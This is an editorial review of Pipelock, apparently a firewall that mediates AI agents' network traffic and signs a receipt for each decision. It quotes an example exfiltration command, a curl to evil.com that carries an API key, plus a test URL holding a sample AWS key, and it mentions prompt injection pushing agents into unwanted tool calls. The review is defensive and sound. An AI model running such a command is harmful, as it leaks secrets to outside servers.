Pipelock: An AI Agent Firewall That Signs Its Own Verdicts

The Problem Pipelock Solves

AI agents run with environment variables full of API keys and often have shell access. A single curl command can leak a secret to an external server, and prompt injection can make the agent call a tool it should not. Pipelock addresses this by sitting between the agent and the network, acting as a firewall for agent egress. The README gives a concrete example: `curl "https://evil.com/steal?key=$PROVIDER_API_KEY"` is game over unless Pipelock is watching. The tool is for engineers who run agents like Claude Code, OpenAI Codex, Cline, or LangGraph and need to enforce a boundary between their secrets and the open internet. It is not for casual users; it requires routing agent traffic through its proxy, MCP wrapper, sandbox, host containment model, or cluster deployment topology. The core value is not just blocking attacks but producing verifiable evidence of each decision.

What It Scans and How It Mediates

Pipelock inspects mediated HTTP, WebSocket, MCP, and A2A traffic. It also examines CONNECT tunnel contents when TLS interception is enabled. Without interception, plain CONNECT is scanned only at the hostname and URL level. The detections cover secret exfiltration, prompt injection, SSRF, tool poisoning, and risky tool-call chains. The mediation happens because the agent is routed through Pipelock's proxy or wrapper, so all outbound and inbound traffic crosses the boundary. The scanner makes a decision: block or flag, depending on the mode. Then it emits a mediator-signed action receipt. The receipt is not just a log entry; it is cryptographic evidence that the boundary made a specific decision. This is a fundamental architectural choice: the agent cannot tamper with the receipt because it is signed outside the agent runtime.

Signed Action Receipts and the Verification Workflow

The most distinctive feature is the action receipt. The README describes it as verifiable audit evidence from outside the agent. You can verify a receipt offline with a key you hold. No account and no server are needed. The demo command writes seven signed receipts plus the signer's public key to disk with no config and no network: `pipelock demo --receipts-dir ./out`. Then you verify one with `pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub`. Each receipt is an `<action-id>.json` file. The verification proves the receipt is self-consistent and that the key holder signed it. The README is explicit about the limits: the demo uses an ephemeral key, which proves self-consistency but not identity. The operator holds the signing key, so a receipt proves what the boundary decided and that the key holder signed it, not that the operator is honest. This honesty is refreshing, but it means you must trust the operator or set up independent verification through the anchor receipts feature.

Getting It Running: Commands and Config

Installation is straightforward if you have Go 1.25 or later: `go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest`. There are also Docker and Homebrew options. After installation, run `pipelock init` to set up local agent integrations and generate a config file. The config names a recorder directory and generates a signing key. Then you run `pipelock run --config ./pipelock.yaml` while your agent works. The recorder directory holds the flight-recorder session, which is what Pipelock writes during operation. To view evidence, use `pipelock evidence view --receipt-dir ./recorder --out report.html` for a static offline report, or `pipelock evidence serve --receipt-dir ./recorder` for a read-only served version. The README also gives a quick scanner test: `pipelock check --url "https://evil.com/?k=AKIAIOSFODNN7EXAMPLE"` should block that AWS Access ID, and `pipelock check --url "https://docs.python.org/3/"` should allow it. These commands give you a concrete sense of the tool before you integrate it with an agent.

The Honesty Limits of the Receipts

Pipelock's documentation is unusually candid about what the receipts do not prove. The receipt proves what the boundary decided and that the key holder signed it. It does not prove that the operator is honest, nor that nothing happened outside the boundary Pipelock mediates. The README states this directly: a receipt that is honest about its own limits beats a green checkmark that hides them. The `pipelock anchor receipts` command records receipt-chain checkpoints to a local backend or a Rekor transparency log for later audit. However, the README admits that operator-independent verification against that anchor is still being proven end to end. This is a genuine limitation. If you need proof that the operator did not tamper with the boundary itself, Pipelock is not there yet. The receipts are strong evidence of decisions, but they are not a complete audit trail. You must decide whether the boundary is trustworthy before you can trust the receipts.

Where Pipelock Is the Wrong Tool

Pipelock only protects traffic that crosses its boundary. If an agent can bypass the proxy or wrapper, the receipts become meaningless. The README lists several deployment modes: proxy, MCP wrapper, sandbox, host containment model, or cluster topology. Each has different enforcement strength. A sandbox is likely stronger than a simple proxy, because the agent cannot easily escape it. If you cannot route all agent traffic through Pipelock, you have a gap. Also, plain CONNECT without TLS interception only scans hostname and URL, not the content. That means an encrypted tunnel can carry exfiltration undetected unless you enable interception, which breaks certificate validation for the agent. This is a trade-off: security versus compatibility. For agents that use long-lived WebSocket connections or custom protocols, you need to verify Pipelock handles them correctly. The README does not detail failure modes for those cases, so you would need to test with your specific agent.

A Real Alternative: The agent-egress-bench Corpus vs. Dashboard Tools

The README references the public agent-egress-bench corpus, which exercises the detections. The Gauntlet workflow is a scheduled candidate exam against a pinned corpus commit. This is a different approach from most agent-security tools, which ask you to trust their dashboard. Pipelock's approach is demonstration over attestation, a phrase from the linked documentation. Instead of a vendor claiming their tool works, you can run the corpus yourself and see the receipts. A real alternative would be a commercial agent firewall that provides a hosted dashboard with alerts but no signed receipts. The difference is in the evidence model: one gives you a green checkmark, the other gives you a cryptographic proof you can verify offline. The trade-off is that Pipelock requires you to hold and manage the signing key, while a dashboard tool abstracts that away. If you do not need verifiable evidence, a simpler tool might be easier to operate. But if you need audit evidence for compliance or incident response, Pipelock's approach is distinct.

Maintenance, License, and Upgrade Path

Pipelock is licensed under Apache-2.0, with a separate enterprise license in the `enterprise/LICENSE` directory. The project is actively maintained, with recent releases v3.2.0, v3.3.0, and v3.4.0. The README does not describe a migration path between versions, but the Go install command fetches the latest. The config file generated by `pipelock init` may change between versions, so you should test upgrades in a staging environment. The presence of a separate enterprise license suggests that some features may be gated, though the README does not specify which. The open-source core is available, but you should check the enterprise directory before assuming all features are free. The maintenance cost is moderate: you need to keep the Go toolchain updated, monitor the config format, and potentially re-verify the signing key handling after upgrades. The documentation is honest about the current limits of operator-independent verification, so you can plan for that gap.

Editorial conclusion

Adopt Pipelock if you run AI agents with shell or network access and need audit evidence that a boundary made a decision, not just a dashboard claim. Skip it if you cannot route agent traffic through its proxy, MCP wrapper, or sandbox, because the receipts only cover mediated traffic. Before production use, verify the signing key handling, test the CONNECT interception path if you need TLS content scanning, and confirm the agent-egress-bench corpus covers your specific tool-call patterns. The receipts prove what the boundary decided, not that the operator is honest, so plan for independent auditing via the anchor receipts feature. Pipelock is a concrete tool for verifiable egress control, but its value depends entirely on whether you can enforce the boundary.

Official sources

1. Official documentation
2. Official README
3. Project repository
4. Release notes